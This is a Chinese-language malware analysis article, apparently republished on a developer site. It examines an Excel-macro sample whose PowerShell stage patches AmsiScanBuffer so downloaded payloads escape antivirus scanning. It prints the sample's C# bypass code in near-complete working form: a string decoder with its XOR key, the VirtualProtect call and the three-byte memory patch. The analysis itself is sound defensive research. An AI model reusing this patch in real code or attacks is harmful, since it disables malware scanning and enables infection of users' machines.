恶意软件如何绕过AMSI检测以逃避检测

栏目: 编程工具 · 发布时间: 5年前

内容简介:前言在本文中,我将详细介绍一种禁用恶意软件概述

前言

在本文中,我将详细介绍一种禁用 反恶意软件扫描接口(AMSI) 的技术。这是在Microsoft Windows中的一个内部功能,用于使用系统上安装的反恶意软件对数据进行扫描。我们举例说明,该特性允许应用程序在将数据写入文件之前,请求扫描下载的数据。如果一个恶意软件可以禁用此接口,那么它就可以逃避反病毒检测。在本文中,我们将对从客户那里拿到的一个恶意样本进行详细分析,并看看样本是如何绕过AMSI的。

恶意软件概述

在RTF格式的Excel文档中,都包含经过模糊后的宏:

恶意软件如何绕过AMSI检测以逃避检测

通过阅读这个混淆后的代码,我们发现它以混淆后的形式,运行一个位于单元格G135内的命令:

恶意软件如何绕过AMSI检测以逃避检测

经过这些多层次的混淆后,Excel文档宏最终会启动PowerShell。由于我们使用 工具 监控了隔离的虚拟机内部发生的活动,因此我们无需手动对这些层进行反模糊处理。经过对恶意文档威胁进行分析后,我们得到了PowerShell将要执行的完整脚本:

恶意软件如何绕过AMSI检测以逃避检测

最终,该脚本尝试从被攻陷的网站下载可执行文件,然后执行该文件,这是一种非常常见的技术。该脚本甚至将请求中用户代理(User-agent)设置为明显无意义的字符串,被感染的服务器可能会利用该字符串来定制下载的Payload,或者使用它来跟踪不同的被感染主机。

禁用反病毒API

然而,在我们所分析的样本中,使用了一个不常见的技术。PowerShell脚本首先将一些经过XOR异或混淆的Base16编码文本转换为C#脚本,该脚本会禁用某些Microsoft反病毒API,以避免文件在下载时被扫描。

这一过程 使用PowerShell中的Add-Type命令加载一些C#代码 来实现此目的。加载这一C#代码后,PowerShell实例调用名为“o15b72”的类上的“rbc5492”方法,然后休眠1秒,之后下载并运行Payload以进行下一阶段的攻击。

C#代码使用以下的本地API:

     [DllImport("kernel32")]
     public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
     [DllImport("kernel32")]
     public static extern IntPtr LoadLibrary(string name);
     [DllImport("kernel32")]
     public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint
flNewProtect, out uint lpflOldProtect);
     [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
     static extern void MoveMemory(IntPtr dest, IntPtr src, int size);

我们最后再来分析“rbc5492”方法,该类中唯一存在的另一种方法是“v4bad81”:

       public static string v4bad81(string strIn)
{
          string rbf4534 = "a25baab";
     string m941db = String.Empty;
     for (int i = 0; i < strIn.Length; i += 2)
     {
       byte b72323 = Convert.ToByte(strIn.Substring(i, 2), 16);
       m941db += (char)(b72323 ^ rbf4534[(i / 2) % rbf4534.Length]);
     }
 
     return m941db;
}

在该方法的代码中,存在一些奇怪的缩进格式,可能表明恶意软件作者从其他地方复制了一些代码,或者没有对编写的代码进行良好的代码审查。

这个“v4bad81”方法,将接受一个字符串作为输入,对其执行一些解码,然后返回该字符串。

它会逐步遍历输入的字符串,每次2个字符,并使用Convert.ToByte以十六进制对其进行解码,具体是由第二个参数的16和字符串中的数字来定义的。然后,恶意软件会获取该值,并使用从“rbf4534”中提取的值对其进行异或,并将其附加到最终输出字符串。

混淆特定字符串

有趣的是,这种基于XOR的混淆方法与用于混淆C#代码的方法完全相同,甚至使用与PowerShell函数相同的密钥和方法名称。

接下来,就很自然把我们引导了“rbc5492”方法,我们将其拆解成几个部分,并逐一进行分析:

public static int rbc5492()
{
     IntPtr k98a91f = LoadLibrary(v4bad81("005f460b4f050e0d"));
     if (k98a91f == IntPtr.Zero)
     {
       return 1;
     }

这部分代码将加载由模糊字符串“005f460b4f050e0d”描述的库。使用反混淆方法对其进行处理,我们将得到“amsi.dll”。因此,该代码只是加载反恶意软件扫描接口(AMSI)DLL的句柄。

     IntPtr wc852 = GetProcAddress(k98a91f, v4bad81("205f460b3202030f704004070410"));
     if (wc852 == IntPtr.Zero)
     {
     return 1;
     }

然后,代码的下一部分使用该DLL句柄在混淆的字符串“205f460b3202030f704004070410”中加载函数的地址,该字符串去混淆后的原文为“AmsiScanBuffer”。此函数用于扫描缓冲区中的恶意软件内容。

     UIntPtr dwSize = (UIntPtr)5;
     uint Zero = 0;
     if (!VirtualProtect(wc852, dwSize, 0x40, out Zero))
     {
     return 1;
     }

然后,下一部分代码会将 “AmsiScanBuffer” 代码的内存权限更改为0x40,即PAGE_EXECUTE_READWRITE。这是为了允许恶意软件修改代码。

       Byte[] Patch = { 0x31, 0xff, 0x90 };
       IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
       Marshal.Copy(Patch, 0, unmanagedPointer, 3);
       MoveMemory(new IntPtr(wc852.ToInt64() + 0x001b), unmanagedPointer, 3);
       return 0;
     }

这会将三个字节的内存复制到“AmsiScanBuffer”函数的0x1b(十进制为27)的偏移量中。执行此操作后,将会返回,这将返回到PowerShell脚本,该脚本会在下载之前休眠1秒钟。

那么,到AmsiScanBuffer函数的27个字节是什么?在64位 Windows 10 Redstone 4系统中,如下所示,修改后的指令在00007fff`f479243b处以红色突出显示(位于倒数第2行):

amsi!AmsiScanBuffer:
00007fff`f4792420 4c8bdc           mov     r11, rsp
00007fff`f4792423 49895b08         mov     qword ptr [r11+8], rbx
00007fff`f4792427 49896b10         mov     qword ptr [r11+10h], rbp
00007fff`f479242b 49897318         mov     qword ptr [r11+18h], rsi
00007fff`f479242f 57               push    rdi
00007fff`f4792430 4156             push    r14
00007fff`f4792432 4157             push    r15
00007fff`f4792434 4883ec70         sub     rsp, 70h
00007fff`f4792438 4d8bf9           mov     r15, r9
00007fff`f479243b 418bf8           mov     edi, r8d <- Modified instruction
00007fff`f479243e 488bf2           mov     rsi, rdx
…

写入内存的三个字节会将修改后的指令转换为两条指令:

00007fff`f479243b 31ff             xor     edi, edi
00007fff`f479243d 90               nop

在这里,只需将edi设置为0,即可替换将r8d复制到edi的指令。这是因为,r8d在 x64调用约定 (Calling Convention)中保存了第三个函数参数。AmsiScanBuffer函数的原型是:

     HRESULT AmsiScanBuffer(
     HAMSICONTEXT amsiContext,
     PVOID        buffer,
     ULONG        length,
     LPCWSTR      contentName,
     HAMSISESSION amsiSession,
     AMSI_RESULT  *result
);

通过确保第三个参数始终被视为0,该过程使得AmsiScanBuffer无效,因为它会始终认为正在扫描长度为0的缓冲区。由于这一修补过程是在PowerShell中完成的,因此结果是,PowerShell进程(并且只有该进程)对AmsiScanBuffer进行的任何调用都无效。这可以防止PowerShell将下载的代码传递给反恶意软件工具进行扫描,从而允许将恶意数据写入文件。

我们推测,PowerShell在这一C#代码之后执行1秒睡眠的原因,是为了确保刷新CPU指令缓存,后者是修改代码的过程中必须要执行的操作。但是,如果要实现这样的目的,我们不清楚为什么恶意软件没有选择使用 FlushInstructionCache

总结

其他的一些研究人员发现,禁用AMSI是一些 漏洞利用工具包 中提供的功能,因此我们可能会在野外观察到一些恶意软件中具有这一特性,并会执行禁用AMSI的操作。然而,在这一样本中所使用的C#代码与去年发布的 概念验证代码 非常相似,但这个样本中增加了对库名称和函数名称的混淆。

借助一些安全平台,可以使用轻量级虚拟机实现恶意软件的隔离,并且可以从外部查看该虚拟机,此类技术可以向用户提供检测或保护。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Algorithms

Algorithms

Sanjoy Dasgupta、Christos H. Papadimitriou、Umesh Vazirani / McGraw-Hill Education / 2006-10-16 / GBP 30.99

This text, extensively class-tested over a decade at UC Berkeley and UC San Diego, explains the fundamentals of algorithms in a story line that makes the material enjoyable and easy to digest. Emphasi......一起来看看 《Algorithms》 这本书的介绍吧!

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具